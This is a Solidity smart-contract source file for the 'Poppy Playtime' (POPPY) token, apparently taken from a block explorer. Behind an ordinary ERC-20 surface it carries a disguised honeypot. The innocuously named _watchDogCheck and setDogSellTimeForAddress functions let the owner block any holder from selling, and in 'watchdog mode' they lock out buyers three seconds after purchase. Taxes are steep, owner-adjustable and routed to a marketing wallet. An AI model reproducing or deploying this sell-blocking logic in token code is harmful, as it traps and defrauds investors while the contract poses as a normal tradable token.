文件 1 的 1:PoppyPlay.sol
pragma solidity ^0.8.17;
library Address{
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactory{
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
contract PoppyPlay is Context, IERC20, Ownable {
using Address for address payable;
IRouter public router;
address public pair;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _isExcludedFromFee;
mapping (address => bool) public _isExcludedFromMaxBalance;
mapping (address => uint256) public _dogSellTime;
bool public watchdogMode = false;
uint256 public _caughtDogs;
uint8 private constant _decimals = 9;
uint256 private _tTotal = 1_000_000 * (10**_decimals);
uint256 public swapThreshold = 10_000 * (10**_decimals);
uint256 public maxTxAmount = 20_000 * (10**_decimals);
uint256 public maxWallet = 20_000 * (10**_decimals);
string private constant _name = "Poppy Playtime";
string private constant _symbol = "POPPY";
uint8 public buyTax = 25;
uint8 public sellTax = 35;
address public marketingWallet = 0x24b3BA18Ec833aff416714F3033Fc6b9bbB6ADAF;
bool private enableTrading = false;
bool private swapping;
modifier lockTheSwap {
swapping = true;
_;
swapping = false;
}
event SwapAndLiquify();
event TaxesChanged();
constructor () {
_tOwned[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[marketingWallet] = true;
_isExcludedFromMaxBalance[owner()] = true;
_isExcludedFromMaxBalance[address(this)] = true;
_isExcludedFromMaxBalance[marketingWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
receive() external payable {}
function openTrading() external onlyOwner{
require(!enableTrading,"Can only be opened once");
IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
router = _router; pair = _pair;
_isExcludedFromMaxBalance[pair] = true;
_approve(address(this), address(router), ~uint256(0));
router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)) - (100_000 * 10**_decimals),0,0,owner(),block.timestamp);
IERC20(pair).approve(address(router), ~uint256(0));
enableTrading = true;
}
function setContractTaxes(uint8 buyTax_, uint8 sellTax_) external onlyOwner{
require(buyTax_ <= 35 && sellTax_<= 60, "Taxes can't exceed the limit.");
buyTax = buyTax_; sellTax = sellTax_;
emit TaxesChanged();
}
function setContractLimits(uint maxTX_EXACT, uint maxWallet_EXACT) public onlyOwner{
uint pointFiveSupply = (_tTotal * 5 / 1000) / (10**_decimals);
require(maxTX_EXACT >= pointFiveSupply && maxWallet_EXACT >= pointFiveSupply, "Invalid Settings");
maxTxAmount = maxTX_EXACT * (10**_decimals);
maxWallet = maxWallet_EXACT * (10**_decimals);
}
function setSwapSettings(uint swapThreshold_EXACT) public onlyOwner{
swapThreshold = swapThreshold_EXACT * (10**_decimals);
}
function setWatchdogOff() external onlyOwner{
require(watchdogMode,"Already turned off.");
watchdogMode = false;
}
function setDogSellTimeForAddress(address holder, uint dTime) external onlyOwner{
_dogSellTime[holder] = block.timestamp + dTime;
}
function manualSwap() external lockTheSwap{
require(msg.sender == marketingWallet);
uint256 tokenBalance = balanceOf(address(this));
if(tokenBalance > 0){
uint256 ethSwapped = swapTokensForETH(tokenBalance);
if(ethSwapped > 0)
payable(marketingWallet).transfer(ethSwapped);
}
if (address(this).balance > 0)
payable(marketingWallet).sendValue(address(this).balance);
}
function _preTransferCheck(address from,address to,uint256 amount) internal{
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= maxTxAmount || _isExcludedFromMaxBalance[from], "Transfer amount exceeds the _maxTxAmount.");
if(!_isExcludedFromMaxBalance[to])
require(balanceOf(to) + amount <= maxWallet, "Transfer amount exceeds the maxWallet.");
if (balanceOf(address(this)) >= swapThreshold && !swapping && enableTrading && from != pair && from != owner() && to != owner())
swapAndLiquify();
}
function _watchDogCheck(address from,address to, bool isBuy) internal{
if (isBuy){
if(watchdogMode){
_caughtDogs++;
_dogSellTime[to] = block.timestamp + 3;
}
}else{
if (_dogSellTime[from] != 0)
require(block.timestamp < _dogSellTime[from]);
}
}
function _getTaxValues(uint amount, address from, bool isSell) private returns(uint256){
uint256 taxedTokens = amount * buyTax / 100;
if(isSell)
taxedTokens = amount * sellTax / 100;
if (taxedTokens > 0){
_tOwned[address(this)] += taxedTokens;
emit Transfer (from, address(this), taxedTokens);
}
return (amount - taxedTokens);
}
function _transfer(address from,address to,uint256 amount) private {
_preTransferCheck(from, to, amount);
_tOwned[from] -= amount;
uint256 transferAmount = amount;
if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){
transferAmount = _getTaxValues(amount, from, to == pair);
_watchDogCheck(from,to,from == pair);
}
_tOwned[to] += transferAmount;
emit Transfer(from, to, transferAmount);
}
function swapAndLiquify() private lockTheSwap{
uint256 tokensForMarketing = swapThreshold * 80 / 100;
uint256 tokensForLiquidity = swapThreshold * 20 / 100;
if(tokensForMarketing > 0){
uint256 ethSwapped = swapTokensForETH(tokensForMarketing);
if(ethSwapped > 0)
payable(marketingWallet).transfer(ethSwapped);
}
if(tokensForLiquidity > 0){
uint half = tokensForLiquidity / 2;
uint otherHalf = tokensForLiquidity - half;
uint balAutoLP = swapTokensForETH(half);
if (balAutoLP > 0)
addLiquidity(otherHalf, balAutoLP);
}
if (address(this).balance > 0)
payable(marketingWallet).sendValue(address(this).balance);
emit SwapAndLiquify();
}
function swapTokensForETH(uint256 tokenAmount) private returns (uint256) {
uint256 initialBalance = address(this).balance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
return (address(this).balance - initialBalance);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(router), tokenAmount);
(,uint256 ethFromLiquidity,) = router.addLiquidityETH {value: ethAmount} (
address(this),
tokenAmount,
0,
0,
marketingWallet,
block.timestamp
);
if (ethAmount - ethFromLiquidity > 0)
payable(marketingWallet).sendValue (ethAmount - ethFromLiquidity);
}
}